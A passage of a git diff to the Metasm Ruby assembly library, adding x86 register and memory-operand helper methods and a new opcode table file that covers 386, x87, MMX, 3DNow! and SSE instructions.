(0..7).map { |n| "xmm#{n}" }, + 256 => (0..7).map { |n| "ymm#{n}" } def symbolic(di=nil) ; to_s.to_sym end end @@ -128,12 +141,16 @@ class Ia32 < CPU def initialize(seg, addr) @seg, @addr = seg, addr end + + def ==(o) + self.class == o.class and seg == o.seg and addr == o.addr + end end # ModRM represents indirections in x86 (eg dword ptr [eax+4*ebx+12h]) class ModRM < Argument # valid combinaisons for a modrm - # ints are reg indexes, symbols are immediates, except :sib + # ints are reg indexes, symbols are immediates, except :sib Sum = { 16 => { 0 => [ [3, 6], [3, 7], [5, 6], [5, 7], [6], [7], [:i16], [3] ], @@ -175,6 +192,10 @@ class Ia32 < CPU p = Expression["segment_base_#@seg", :+, p] if seg and seg.val != ((b && (@b.val == 4 || @b.val == 5)) ? 2 : 3) Indirection[p.reduce, @sz/8, (di.address if di)] end + + def ==(o) + self.class == o.class and s == o.s and i == o.i and b == o.b and imm == o.imm and seg == o.seg and adsz == o.adsz and sz == o.sz + end end @@ -217,17 +238,44 @@ class Ia32 < CPU pp.define_weak('__i386__') end - # returns a Reg object if the arg is a valid register (eg 'ax' => Reg.new(0, 16)) + # returns a Reg/SimdReg object if the arg is a valid register (eg 'ax' => Reg.new(0, 16)) # returns nil if str is invalid def str_to_reg(str) - Reg.from_str(str) if Reg.s_to_i.has_key? str + Reg.s_to_i.has_key?(str) ? Reg.from_str(str) : SimdReg.s_to_i.has_key?(str) ? SimdReg.from_str(str) : nil + end + + # returns the list of Regs in the instruction arguments + # may be converted into symbols through Reg#symbolic + def instr_args_regs(i) + i = i.instruction if i.kind_of?(DecodedInstruction) + i.args.grep(Reg) + end + + # returns the list of ModRMs in the instruction arguments + # may be converted into Indirection through ModRM#symbolic + def instr_args_memoryptr(i) + i = i.instruction if i.kind_of?(DecodedInstruction) + i.args.grep(ModRM) + end + + # return the 'base' of the ModRM (Reg/nil) + def instr_args_memoryptr_getbase(mrm) + mrm.b || (mrm.i if mrm.s == 1) + end + + # return the offset of the ModRM (Expression/nil) + def instr_args_memoryptr_getoffset(mrm) + mrm.imm + end + + # define ModRM offset (eg to changing imm into an ExpressionString) + def instr_args_memoryptr_setoffset(mrm, imm) + mrm.imm = (imm ? Expression[imm] : imm) end def shortname "ia32#{'_16' if @size == 16}#{'_be' if @endianness == :big}" end end - X86 = Ia32 - end diff --git a/lib/metasm/metasm/cpu/ia32/opcodes.rb b/lib/metasm/metasm/cpu/ia32/opcodes.rb new file mode 100644 index 0000000000..0aa16cbf43 --- /dev/null +++ b/lib/metasm/metasm/cpu/ia32/opcodes.rb @@ -0,0 +1,1424 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/cpu/ia32/main' + +module Metasm +class Ia32 + def init_cpu_constants + @opcode_list ||= [] + @fields_mask.update :w => 1, :s => 1, :d => 1, :modrm => 0xC7, + :reg => 7, :eeec => 7, :eeed => 7, :eeet => 7, :seg2 => 3, :seg3 => 7, + :regfp => 7, :regmmx => 7, :regxmm => 7, :regymm => 7, + :vex_r => 1, :vex_b => 1, :vex_x => 1, :vex_w => 1, + :vex_vvvv => 0xF + @fields_mask[:seg2A] = @fields_mask[:seg2] + @fields_mask[:seg3A] = @fields_mask[:seg3] + + [:i, :i8, :u8, :u16, :reg, :seg2, :seg2A, + :seg3, :seg3A, :eeec, :eeed, :eeet, :modrm, :mrm_imm, + :farptr, :imm_val1, :imm_val3, :reg_cl, :reg_eax, + :reg_dx, :regfp, :regfp0, :modrmmmx, :regmmx, + :modrmxmm, :regxmm, :modrmymm, :regymm, + :vexvxmm, :vexvymm, :vexvreg, :i4xmm, :i4ymm + ].each { |a| @valid_args[a] = true } + + [:strop, :stropz, :opsz, :adsz, :argsz, :setip, + :stopexec, :saveip, :unsigned_imm, :random, :needpfx, + :xmmx, :modrmR, :modrmA, :mrmvex + ].each { |a| @valid_props[a] = true } + end + + # only most common instructions from the 386 instruction set + # inexhaustive list : + # no aaa, arpl, mov crX, call/jmp/ret far, in/out, bts, xchg... + def init_386_common_only + init_cpu_constants + + addop_macro1 'adc', 2 + addop_macro1 'add', 0 + addop_macro1 'and', 4, :unsigned_imm + addop 'bswap', [0x0F, 0xC8], :reg + addop 'call', [0xE8], nil, :stopexec, :setip, :i, :saveip + addop 'call', [0xFF], 2, :stopexec, :setip, :saveip + addop('cbw', [0x98]) { |o| o.props[:opsz] = 16 } + addop('cwde', [0x98]) { |o| o.props[:opsz] = 32 } + addop('cwd', [0x99]) { |o| o.props[:opsz] = 16 } + addop('cdq', [0x99]) { |o| o.props[:opsz] = 32 } + addop_macro1 'cmp', 7 + addop_macrostr 'cmps', [0xA6], :stropz + addop 'dec', [0x48], :reg + addop 'dec', [0xFE], 1, {:w => [0, 0]} + addop 'div', [0xF6], 6, {:w => [0, 0]} + addop 'enter', [0xC8], nil, :u16, :u8 + addop 'idiv', [0xF6], 7, {:w => [0, 0]} + addop 'imul', [0xF6], 5, {:w => [0, 0]} # implicit eax, but different semantic from imul eax, ebx (the implicit version updates edx:eax) + addop 'imul', [0x0F, 0xAF], :mrm + addop 'imul', [0x69], :mrm, {:s => [0, 1]}, :i + addop 'inc', [0x40], :reg + addop 'inc', [0xFE], 0, {:w => [0, 0]} + addop 'int', [0xCC], nil, :imm_val3, :stopexec + addop 'int', [0xCD], nil, :u8 + addop_macrotttn 'j', [0x70], nil, :setip, :i8 + addop_macrotttn('j', [0x70], nil, :setip, :i8) { |o| o.name << '.i8' } + addop_macrotttn 'j', [0x0F, 0x80], nil, :setip, :i + addop_macrotttn('j', [0x0F, 0x80], nil, :setip, :i) { |o| o.name << '.i' } + addop 'jmp', [0xE9], nil, {:s => [0, 1]}, :setip, :i, :stopexec + addop 'jmp', [0xFF], 4, :setip, :stopexec + addop 'lea', [0x8D], :mrmA + addop 'leave', [0xC9] + addop_macrostr 'lods', [0xAC], :strop + addop 'loop', [0xE2], nil, :setip, :i8 + addop 'loopz', [0xE1], nil, :setip, :i8 + addop 'loope', [0xE1], nil, :setip, :i8 + addop 'loopnz',[0xE0], nil, :setip, :i8 + addop 'loopne',[0xE0], nil, :setip, :i8 + addop 'mov', [0xA0], nil, {:w => [0, 0], :d => [0, 1]}, :reg_eax, :mrm_imm + addop('mov', [0x88], :mrmw,{:d => [0, 1]}) { |o| o.args.reverse! } + addop 'mov', [0xB0], :reg, {:w => [0, 3]}, :i, :unsigned_imm + addop 'mov', [0xC6], 0, {:w => [0, 0]}, :i, :unsigned_imm + addop_macrostr 'movs', [0xA4], :strop + addop 'movsx', [0x0F, 0xBE], :mrmw + addop 'movzx', [0x0F, 0xB6], :mrmw + addop 'mul', [0xF6], 4, {:w => [0, 0]} + addop 'neg', [0xF6], 3, {:w => [0, 0]} + addop 'nop', [0x90] + addop 'not', [0xF6], 2, {:w => [0, 0]} + addop_macro1 'or', 1, :unsigned_imm + addop 'pop', [0x58], :reg + addop 'pop', [0x8F], 0 + addop 'push', [0x50], :reg + addop 'push', [0xFF], 6 + addop 'push', [0x68], nil, {:s => [0, 1]}, :i, :unsigned_imm + addop 'ret', [0xC3], nil, :stopexec, :setip + addop 'ret', [0xC2], nil, :stopexec, :u16, :setip + addop_macro3 'rol', 0 + addop_macro3 'ror', 1 + addop_macro3 'sar', 7 + addop_macro1 'sbb', 3 + addop_macrostr 'scas', [0xAE], :stropz + addop_macrotttn('set', [0x0F, 0x90], 0) { |o| o.props[:argsz] = 8 } + addop_macrotttn('set', [0x0F, 0x90], :mrm) { |o| o.props[:argsz] = 8 ; o.args.reverse! } # :reg field is unused + addop_macro3 'shl', 4 + addop_macro3 'sal', 6 + addop 'shld', [0x0F, 0xA4], :mrm, :u8 + addop 'shld', [0x0F, 0xA5], :mrm, :reg_cl + addop_macro3 'shr', 5 + addop 'shrd', [0x0F, 0xAC], :mrm, :u8 + addop 'shrd', [0x0F, 0xAD], :mrm, :reg_cl + addop_macrostr 'stos', [0xAA], :strop + addop_macro1 'sub', 5 + addop 'test', [0x84], :mrmw + addop 'test', [0xA8], nil, {:w => [0, 0]}, :reg_eax, :i, :unsigned_imm + addop 'test', [0xF6], 0, {:w => [0, 0]}, :i, :unsigned_imm + addop 'xchg', [0x90], :reg, :reg_eax + addop('xchg', [0x90], :reg, :reg_eax) { |o| o.args.reverse! } # xchg eax, ebx == xchg ebx, eax) + addop 'xchg', [0x86], :mrmw + addop('xchg', [0x86], :mrmw) { |o| o.args.reverse! } + addop_macro1 'xor', 6, :unsigned_imm + end + + def init_386_only + init_cpu_constants + + addop 'aaa', [0x37] + addop 'aad', [0xD5, 0x0A] + addop 'aam', [0xD4, 0x0A] + addop 'aas', [0x3F] + addop('arpl', [0x63], :mrm) { |o| o.props[:argsz] = 16 ; o.args.reverse! } + addop 'bound', [0x62], :mrmA + addop 'bsf', [0x0F, 0xBC], :mrm + addop 'bsr', [0x0F, 0xBD], :mrm + addop_macro2 'bt' , 0 + addop_macro2 'btc', 3 + addop_macro2 'btr', 2 + addop_macro2 'bts', 1 + addop 'call', [0x9A], nil, :stopexec, :setip, :farptr, :saveip + addop 'callf', [0x9A], nil, :stopexec, :setip, :farptr, :saveip + addop 'callf', [0xFF], 3, :stopexec, :setip, :saveip + addop 'clc', [0xF8] + addop 'cld', [0xFC] + addop 'cli', [0xFA] + addop 'clts', [0x0F, 0x06] + addop 'cmc', [0xF5] + addop('cmpxchg',[0x0F, 0xB0], :mrmw) { |o| o.args.reverse! } + addop 'cpuid', [0x0F, 0xA2] + addop 'daa', [0x27] + addop 'das', [0x2F] + addop 'hlt', [0xF4], nil, :stopexec + addop 'in', [0xE4], nil, {:w => [0, 0]}, :reg_eax, :u8 + addop 'in', [0xE4], nil, {:w => [0, 0]}, :u8 + addop 'in', [0xEC], nil, {:w => [0, 0]}, :reg_eax, :reg_dx + addop 'in', [0xEC], nil, {:w => [0, 0]}, :reg_eax + addop 'in', [0xEC], nil, {:w => [0, 0]} + addop_macrostr 'ins', [0x6C], :strop + addop 'into', [0xCE] + addop 'invd', [0x0F, 0x08] + addop 'invlpg', [0x0F, 0x01, 7<<3], :modrmA + addop('iretd', [0xCF], nil, :stopexec, :setip) { |o| o.props[:opsz] = 32 } + addop_macroret 'iret', [0xCF] + addop('jcxz', [0xE3], nil, :setip, :i8) { |o| o.props[:adsz] = 16 } + addop('jecxz', [0xE3], nil, :setip, :i8) { |o| o.props[:adsz] = 32 } + addop 'jmp', [0xEA], nil, :farptr, :setip, :stopexec + addop 'jmpf', [0xEA], nil, :farptr, :setip, :stopexec + addop 'jmpf', [0xFF], 5, :stopexec, :setip # reg ? + addop 'lahf', [0x9F] + addop 'lar', [0x0F, 0x02], :mrm + addop 'lds', [0xC5], :mrmA + addop 'les', [0xC4], :mrmA + addop 'lfs', [0x0F, 0xB4], :mrmA + addop 'lgs', [0x0F, 0xB5], :mrmA + addop 'lgdt', [0x0F, 0x01], 2, :modrmA + addop 'lidt', [0x0F, 0x01, 3<<3], :modrmA + addop 'lldt', [0x0F, 0x00], 2, :modrmA + addop 'lmsw', [0x0F, 0x01], 6 +# prefix addop 'lock', [0xF0] + addop 'lsl', [0x0F, 0x03], :mrm + addop 'lss', [0x0F, 0xB2], :mrmA + addop 'ltr', [0x0F, 0x00], 3 + addop 'mov', [0x0F, 0x20, 0xC0], :reg, {:d => [1, 1], :eeec => [2, 3]}, :eeec + addop 'mov', [0x0F, 0x21, 0xC0], :reg, {:d => [1, 1], :eeed => [2, 3]}, :eeed + addop 'mov', [0x0F, 0x24, 0xC0], :reg, {:d => [1, 1], :eeet => [2, 3]}, :eeet + addop 'mov', [0x8C], 0, {:d => [0, 1], :seg3 => [1, 3]}, :seg3 + addop 'movbe', [0x0F, 0x38, 0xF0], :mrm, { :d => [2, 0] } + addop 'out', [0xE6], nil, {:w => [0, 0]}, :u8, :reg_eax + addop 'out', [0xE6], nil, {:w => [0, 0]}, :reg_eax, :u8 + addop 'out', [0xE6], nil, {:w => [0, 0]}, :u8 + addop 'out', [0xEE], nil, {:w => [0, 0]}, :reg_dx, :reg_eax + addop 'out', [0xEE], nil, {:w => [0, 0]}, :reg_eax, :reg_dx + addop 'out', [0xEE], nil, {:w => [0, 0]}, :reg_eax # implicit arguments + addop 'out', [0xEE], nil, {:w => [0, 0]} + addop_macrostr 'outs', [0x6E], :strop + addop 'pop', [0x07], nil, {:seg2A => [0, 3]}, :seg2A + addop 'pop', [0x0F, 0x81], nil, {:seg3A => [1, 3]}, :seg3A + addop('popa', [0x61]) { |o| o.props[:opsz] = 16 } + addop('popad', [0x61]) { |o| o.props[:opsz] = 32 } + addop('popf', [0x9D]) { |o| o.props[:opsz] = 16 } + addop('popfd', [0x9D]) { |o| o.props[:opsz] = 32 } + addop 'push', [0x06], nil, {:seg2 => [0, 3]}, :seg2 + addop 'push', [0x0F, 0x80], nil, {:seg3A => [1, 3]}, :seg3A + addop('pusha', [0x60]) { |o| o.props[:opsz] = 16 } + addop('pushad',[0x60]) { |o| o.props[:opsz] = 32 } + addop('pushf', [0x9C]) { |o| o.props[:opsz] = 16 } + addop('pushfd',[0x9C]) { |o| o.props[:opsz] = 32 } + addop_macro3 'rcl', 2 + addop_macro3 'rcr', 3 + addop 'rdmsr', [0x0F, 0x32] + addop 'rdpmc', [0x0F, 0x33] + addop 'rdtsc', [0x0F, 0x31], nil, :random + addop_macroret 'retf', [0xCB] + addop_macroret 'retf', [0xCA], :u16 + addop 'rsm', [0x0F, 0xAA], nil, :stopexec + addop 'sahf', [0x9E] + addop 'sgdt', [0x0F, 0x01, 0<<3], :modrmA + addop 'sidt', [0x0F, 0x01, 1<<3], :modrmA + addop 'sldt', [0x0F, 0x00], 0 + addop 'smsw', [0x0F, 0x01], 4 + addop 'stc', [0xF9] + addop 'std', [0xFD] + addop 'sti', [0xFB] + addop 'str', [0x0F, 0x00], 1 + addop 'test', [0xF6], 1, {:w => [0, 0]}, :i, :unsigned_imm # undocumented alias to F6/0 + addop 'ud2', [0x0F, 0x0B] + addop 'verr', [0x0F, 0x00], 4 + addop 'verw', [0x0F, 0x00], 5 + addop 'wait', [0x9B] + addop 'wbinvd',[0x0F, 0x09] + addop 'wrmsr', [0x0F, 0x30] + addop('xadd', [0x0F, 0xC0], :mrmw) { |o| o.args.reverse! } + addop 'xlat', [0xD7] + +# pfx: addrsz = 0x67, lock = 0xF0, opsz = 0x66, repnz = 0xF2, rep/repz = 0xF3 +# cs/nojmp = 0x2E, ds/jmp = 0x3E, es = 0x26, fs = 0x64, gs = 0x65, ss = 0x36 + + # undocumented opcodes + addop 'aam', [0xD4], nil, :u8 + addop 'aad', [0xD5], nil, :u8 + addop 'setalc',[0xD6] + addop 'salc', [0xD6] + addop 'icebp', [0xF1] + #addop 'loadall',[0x0F, 0x07] # conflict with syscall + addop 'ud0', [0x0F, 0xFF] # amd + addop 'ud2', [0x0F, 0xB9], :mrm + #addop 'umov', [0x0F, 0x10], :mrmw, {:d => [1, 1]} # conflicts with movups/movhlps + end + + def init_387_only + init_cpu_constants + + addop 'f2xm1', [0xD9, 0xF0] + addop 'fabs', [0xD9, 0xE1] + addop_macrofpu1 'fadd', 0 + addop 'faddp', [0xDE, 0xC0], :regfp + addop 'faddp', [0xDE, 0xC1] + addop('fbld', [0xDF, 4<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 80 } + addop('fbstp', [0xDF, 6<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 80 } + addop 'fchs', [0xD9, 0xE0], nil, :regfp0 + addop 'fnclex', [0xDB, 0xE2] + addop_macrofpu1 'fcom', 2 + addop_macrofpu1 'fcomp', 3 + addop 'fcompp',[0xDE, 0xD9] + addop 'fcomip',[0xDF, 0xF0], :regfp + addop 'fcos', [0xD9, 0xFF], nil, :regfp0 + addop 'fdecstp', [0xD9, 0xF6] + addop_macrofpu1 'fdiv', 6 + addop_macrofpu1 'fdivr', 7 + addop 'fdivp', [0xDE, 0xF8], :regfp + addop 'fdivp', [0xDE, 0xF9] + addop 'fdivrp',[0xDE, 0xF0], :regfp + addop 'fdivrp',[0xDE, 0xF1] + addop 'ffree', [0xDD, 0xC0], nil, {:regfp => [1, 0]}, :regfp + addop_macrofpu2 'fiadd', 0 + addop_macrofpu2 'fimul', 1 + addop_macrofpu2 'ficom', 2 + addop_macrofpu2 'ficomp',3 + addop_macrofpu2 'fisub', 4 + addop_macrofpu2 'fisubr',5 + addop_macrofpu2 'fidiv', 6 + addop_macrofpu2 'fidivr',7 + addop 'fincstp', [0xD9, 0xF7] + addop 'fninit', [0xDB, 0xE3] + addop_macrofpu2 'fist', 2, 1 + addop_macrofpu3 'fild', 0 + addop_macrofpu3 'fistp',3 + addop('fld', [0xD9, 0<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 32 } + addop('fld', [0xDD, 0<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 64 } + addop('fld', [0xDB, 5<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 80 } + addop 'fld', [0xD9, 0xC0], :regfp + + addop('fldcw', [0xD9, 5<<3], :modrmA) { |o| o.props[:argsz] = 16 } + addop 'fldenv', [0xD9, 4<<3], :modrmA + addop 'fld1', [0xD9, 0xE8] + addop 'fldl2t', [0xD9, 0xE9] + addop 'fldl2e', [0xD9, 0xEA] + addop 'fldpi', [0xD9, 0xEB] + addop 'fldlg2', [0xD9, 0xEC] + addop 'fldln2', [0xD9, 0xED] + addop 'fldz', [0xD9, 0xEE] + addop_macrofpu1 'fmul', 1 + addop 'fmulp', [0xDE, 0xC8], :regfp + addop 'fmulp', [0xDE, 0xC9] + addop 'fnop', [0xD9, 0xD0] + addop 'fpatan', [0xD9, 0xF3] + addop 'fprem', [0xD9, 0xF8] + addop 'fprem1', [0xD9, 0xF5] + addop 'fptan', [0xD9, 0xF2] + addop 'frndint',[0xD9, 0xFC] + addop 'frstor', [0xDD, 4<<3], :modrmA + addop 'fnsave', [0xDD, 6<<3], :modrmA + addop('fnstcw', [0xD9, 7<<3], :modrmA) { |o| o.props[:argsz] = 16 } + addop 'fnstenv',[0xD9, 6<<3], :modrmA + addop 'fnstsw', [0xDF, 0xE0] + addop('fnstsw', [0xDD, 7<<3], :modrmA) { |o| o.props[:argsz] = 16 } + addop 'fscale', [0xD9, 0xFD] + addop 'fsin', [0xD9, 0xFE] + addop 'fsincos',[0xD9, 0xFB] + addop 'fsqrt', [0xD9, 0xFA] + addop('fst', [0xD9, 2<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 32 } + addop('fst', [0xDD, 2<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 64 } + addop 'fst', [0xD9, 0xD0], :regfp + addop('fstp', [0xD9, 3<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 32 } + addop('fstp', [0xDD, 3<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 64 } + addop('fstp', [0xDB, 7<<3], :modrmA, :regfp0) { |o| o.props[:argsz] = 80 } + addop 'fstp', [0xDD, 0xD8], :regfp + addop_macrofpu1 'fsub', 4 + addop 'fsubp', [0xDE, 0xE8], :regfp + addop 'fsubp', [0xDE, 0xE9] + addop_macrofpu1 'fsubp', 5 + addop 'fsubrp', [0xDE, 0xE0], :regfp + addop 'fsubrp', [0xDE, 0xE1] + addop 'ftst', [0xD9, 0xE4] + addop 'fucom', [0xDD, 0xE0], :regfp + addop 'fucomp', [0xDD, 0xE8], :regfp + addop 'fucompp',[0xDA, 0xE9] + addop 'fucomi', [0xDB, 0xE8], :regfp + addop 'fxam', [0xD9, 0xE5] + addop 'fxch', [0xD9, 0xC8], :regfp + addop 'fxtract',[0xD9, 0xF4] + addop 'fyl2x', [0xD9, 0xF1] + addop 'fyl2xp1',[0xD9, 0xF9] + # fwait prefix + addop 'fclex', [0x9B, 0xDB, 0xE2] + addop 'finit', [0x9B, 0xDB, 0xE3] + addop 'fsave', [0x9B, 0xDD, 6<<3], :modrmA + addop('fstcw', [0x9B, 0xD9, 7<<3], :modrmA) { |o| o.props[:argsz] = 16 } + addop 'fstenv', [0x9B, 0xD9, 6<<3], :modrmA + addop 'fstsw', [0x9B, 0xDF, 0xE0] + addop('fstsw', [0x9B, 0xDD, 7<<3], :modrmA) { |o| o.props[:argsz] = 16 } + addop 'fwait', [0x9B] + end + + def init_486_only + init_cpu_constants + end + + def init_pentium_only + init_cpu_constants + + addop('cmpxchg8b', [0x0F, 0xC7], 1) { |o| o.props[:opsz] = 32 ; o.props[:argsz] = 64 } + # lock cmpxchg8b eax + #addop 'f00fbug', [0xF0, 0x0F, 0xC7, 0xC8] + + # mmx + addop 'emms', [0x0F, 0x77] + addop('movd', [0x0F, 0x6E], :mrmmmx, {:d => [1, 4]}) { |o| o.args = [:modrm, :regmmx] ; o.props[:opsz] = o.props[:argsz] = 32 } + addop('movq', [0x0F, 0x6F], :mrmmmx, {:d => [1, 4]}) { |o| o.props[:argsz] = 64 } + addop 'packssdw', [0x0F, 0x6B], :mrmmmx + addop 'packsswb', [0x0F, 0x63], :mrmmmx + addop 'packuswb', [0x0F, 0x67], :mrmmmx + addop_macrogg 0..2, 'padd', [0x0F, 0xFC], :mrmmmx + addop_macrogg 0..1, 'padds', [0x0F, 0xEC], :mrmmmx + addop_macrogg 0..1, 'paddus',[0x0F, 0xDC], :mrmmmx + addop 'pand', [0x0F, 0xDB], :mrmmmx + addop 'pandn', [0x0F, 0xDF], :mrmmmx + addop_macrogg 0..2, 'pcmpeq',[0x0F, 0x74], :mrmmmx + addop_macrogg 0..2, 'pcmpgt',[0x0F, 0x64], :mrmmmx + addop 'pmaddwd', [0x0F, 0xF5], :mrmmmx + addop 'pmulhuw', [0x0F, 0xE4], :mrmmmx + addop 'pmulhw',[0x0F, 0xE5], :mrmmmx + addop 'pmullw',[0x0F, 0xD5], :mrmmmx + addop 'por', [0x0F, 0xEB], :mrmmmx + [[1..3, 'psll', 3], [1..2, 'psra', 2], [1..3, 'psrl', 1]].each { |ggrng, name, val| + addop_macrogg ggrng, name, [0x0F, 0xC0 | (val << 4)], :mrmmmx + addop_macrogg ggrng, name, [0x0F, 0x70, 0xC0 | (val << 4)], nil, {:regmmx => [2, 0]}, :regmmx, :u8 + } + addop_macrogg 0..2, 'psub', [0x0F, 0xF8], :mrmmmx + addop_macrogg 0..1, 'psubs', [0x0F, 0xE8], :mrmmmx + addop_macrogg 0..1, 'psubus',[0x0F, 0xD8], :mrmmmx + addop_macrogg 1..3, 'punpckh', [0x0F, 0x68], :mrmmmx + addop_macrogg 1..3, 'punpckl', [0x0F, 0x60], :mrmmmx + addop 'pxor', [0x0F, 0xEF], :mrmmmx + end + + def init_p6_only + addop_macrotttn 'cmov', [0x0F, 0x40], :mrm + + %w{b e be u}.each_with_index { |tt, i| + addop 'fcmov' + tt, [0xDA, 0xC0 | (i << 3)], :regfp + addop 'fcmovn'+ tt, [0xDB, 0xC0 | (i << 3)], :regfp + } + addop 'fcomi', [0xDB, 0xF0], :regfp + addop('fxrstor', [0x0F, 0xAE, 1<<3], :modrmA) { |o| o.props[:argsz] = 512*8 } + addop('fxsave', [0x0F, 0xAE, 0<<3], :modrmA) { |o| o.props[:argsz] = 512*8 } + addop 'sysenter',[0x0F, 0x34] + addop 'sysexit', [0x0F, 0x35] + + addop 'syscall', [0x0F, 0x05] # AMD + addop_macroret 'sysret', [0x0F, 0x07] # AMD + end + + def init_3dnow_only + init_cpu_constants + + [['pavgusb', 0xBF], ['pfadd', 0x9E], ['pfsub', 0x9A], + ['pfsubr', 0xAA], ['pfacc', 0xAE], ['pfcmpge', 0x90], + ['pfcmpgt', 0xA0], ['fpcmpeq', 0xB0], ['pfmin', 0x94], + ['pfmax', 0xA4], ['pi2fd', 0x0D], ['pf2id', 0x1D], + ['pfrcp', 0x96], ['pfrsqrt', 0x97], ['pfmul', 0xB4], + ['pfrcpit1', 0xA6], ['pfrsqit1', 0xA7], ['pfrcpit2', 0xB6], + ['pmulhrw', 0xB7]].each { |str, bin| + addop str, [0x0F, 0x0F, bin], :mrmmmx + } + # 3dnow prefix fallback + addop '3dnow', [0x0F, 0x0F], :mrmmmx, :u8 + + addop 'femms', [0x0F, 0x0E] + addop 'prefetch', [0x0F, 0x0D, 0<<3], :modrmA + addop 'prefetchw', [0x0F, 0x0D, 1<<3], :modrmA + end + + def init_sse_only + init_cpu_constants + + addop_macrossps 'addps', [0x0F, 0x58], :mrmxmm + addop 'andnps', [0x0F, 0x55], :mrmxmm + addop 'andps', [0x0F, 0x54], :mrmxmm + addop_macrossps 'cmpps', [0x0F, 0xC2], :mrmxmm, :u8 + addop 'comiss', [0x0F, 0x2F], :mrmxmm + + addop('cvtpi2ps', [0x0F, 0x2A], :mrmxmm) { |o| o.args[o.args.index(:modrmxmm)] = :modrmmmx } + addop('cvtps2pi', [0x0F, 0x2D], :mrmmmx) { |o| o.args[o.args.index(:modrmmmx)] = :modrmxmm } + addop('cvtsi2ss', [0x0F, 0x2A], :mrmxmm) { |o| o.args[o.args.index(:modrmxmm)] = :modrm ; o.props[:needpfx] = 0xF3 } + addop('cvtss2si', [0x0F, 0x2D], :mrm) { |o| o.args[o.args.index(:modrm)] = :modrmxmm ; o.props[:needpfx] = 0xF3 } + addop('cvttps2pi',[0x0F, 0x2C], :mrmmmx) { |o| o.args[o.args.index(:modrmmmx)] = :modrmxmm } + addop('cvttss2si',[0x0F, 0x2C], :mrm) { |o| o.args[o.args.index(:modrm)] = :modrmxmm ; o.props[:needpfx] = 0xF3 } + + addop_macrossps 'divps', [0x0F, 0x5E], :mrmxmm + addop 'ldmxcsr', [0x0F, 0xAE, 2<<3], :modrmA + addop_macrossps 'maxps', [0x0F, 0x5F], :mrmxmm + addop_macrossps 'minps', [0x0F, 0x5D], :mrmxmm + addop 'movaps', [0x0F, 0x28], :mrmxmm, {:d => [1, 0]} + addop 'movhlps', [0x0F, 0x12], :mrmxmm, :modrmR + addop 'movlps', [0x0F, 0x12], :mrmxmm, {:d => [1, 0]}, :modrmA + addop 'movlhps', [0x0F, 0x16], :mrmxmm, :modrmR + addop 'movhps', [0x0F, 0x16], :mrmxmm, {:d => [1, 0]}, :modrmA + addop 'movmskps',[0x0F, 0x50, 0xC0], nil, {:reg => [2, 3], :regxmm => [2, 0]}, :regxmm, :reg + addop('movss', [0x0F, 0x10], :mrmxmm, {:d => [1, 0]}) { |o| o.props[:needpfx] = 0xF3 } + addop 'movups', [0x0F, 0x10], :mrmxmm, {:d => [1, 0]} + addop_macrossps 'mulps', [0x0F, 0x59], :mrmxmm + addop 'orps', [0x0F, 0x56], :mrmxmm + addop_macrossps 'rcpps', [0x0F, 0x53], :mrmxmm + addop_macrossps 'rsqrtps',[0x0F, 0x52], :mrmxmm + addop 'shufps', [0x0F, 0xC6], :mrmxmm, :u8 + addop_macrossps 'sqrtps', [0x0F, 0x51], :mrmxmm + addop 'stmxcsr', [0x0F, 0xAE, 3<<3], :modrmA + addop_macrossps 'subps', [0x0F, 0x5C], :mrmxmm + addop 'ucomiss', [0x0F, 0x2E], :mrmxmm + addop 'unpckhps',[0x0F, 0x15], :mrmxmm + addop 'unpcklps',[0x0F, 0x14], :mrmxmm + addop 'xorps', [0x0F, 0x57], :mrmxmm + + # integer instrs, mmx only + addop 'pavgb', [0x0F, 0xE0], :mrmmmx + addop 'pavgw', [0x0F, 0xE3], :mrmmmx + addop 'pextrw', [0x0F, 0xC5, 0xC0], nil, {:reg => [2, 3], :regmmx => [2, 0]}, :reg, :regmmx, :u8 + addop 'pinsrw', [0x0F, 0xC4, 0x00], nil, {:modrm => [2, 0], :regmmx => [2, 3]}, :modrm, :regmmx, :u8 + addop 'pmaxsw', [0x0F, 0xEE], :mrmmmx + addop 'pmaxub', [0x0F, 0xDE], :mrmmmx + addop 'pminsw', [0x0F, 0xEA], :mrmmmx + addop 'pminub', [0x0F, 0xDA], :mrmmmx + addop 'pmovmskb',[0x0F, 0xD7, 0xC0], nil, {:reg => [2, 3], :regmmx => [2, 0]}, :reg, :regmmx + addop 'psadbw', [0x0F, 0xF6], :mrmmmx + addop 'pshufw', [0x0F, 0x70], :mrmmmx, :u8 + + addop 'maskmovq',[0x0F, 0xF7], :mrmmmx, :modrmR + addop('movntq', [0x0F, 0xE7], :mrmmmx) { |o| o.args.reverse! } + addop('movntps', [0x0F, 0x2B], :mrmxmm) { |o| o.args.reverse! } + addop 'prefetcht0', [0x0F, 0x18, 1<<3], :modrmA + addop 'prefetcht1', [0x0F, 0x18, 2<<3], :modrmA + addop 'prefetcht2', [0x0F, 0x18, 3<<3], :modrmA + addop 'prefetchnta',[0x0F, 0x18, 0<<3], :modrmA + addop 'sfence', [0x0F, 0xAE, 0xF8] + + # the whole row of prefetch is actually nops + addop 'nop', [0x0F, 0x1C], :mrmw, :d => [1, 1] # incl. official version = 0f1f mrm + addop 'nop_8', [0x0F, 0x18], :mrmw, :d => [1, 1] + addop 'nop_d', [0x0F, 0x0D], :mrm + addop 'nop', [0x0F, 0x1C], 0 # official asm syntax is 'nop [eax]' + end + + def init_sse2_only + init_cpu_constants + + @opcode_list.each { |o| o.props[:xmmx] = true if o.fields[:regmmx] and o.name !~ /^(?:mov(?:nt)?q|pshufw|cvt.*)$/ } + + # mirror of the init_sse part + addop_macrosdpd 'addpd', [0x0F, 0x58], :mrmxmm + addop('andnpd', [0x0F, 0x55], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop('andpd', [0x0F, 0x54], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + addop_macrosdpd 'cmppd', [0x0F, 0xC2], :mrmxmm, :u8 + addop('comisd', [0x0F, 0x2F], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } + + 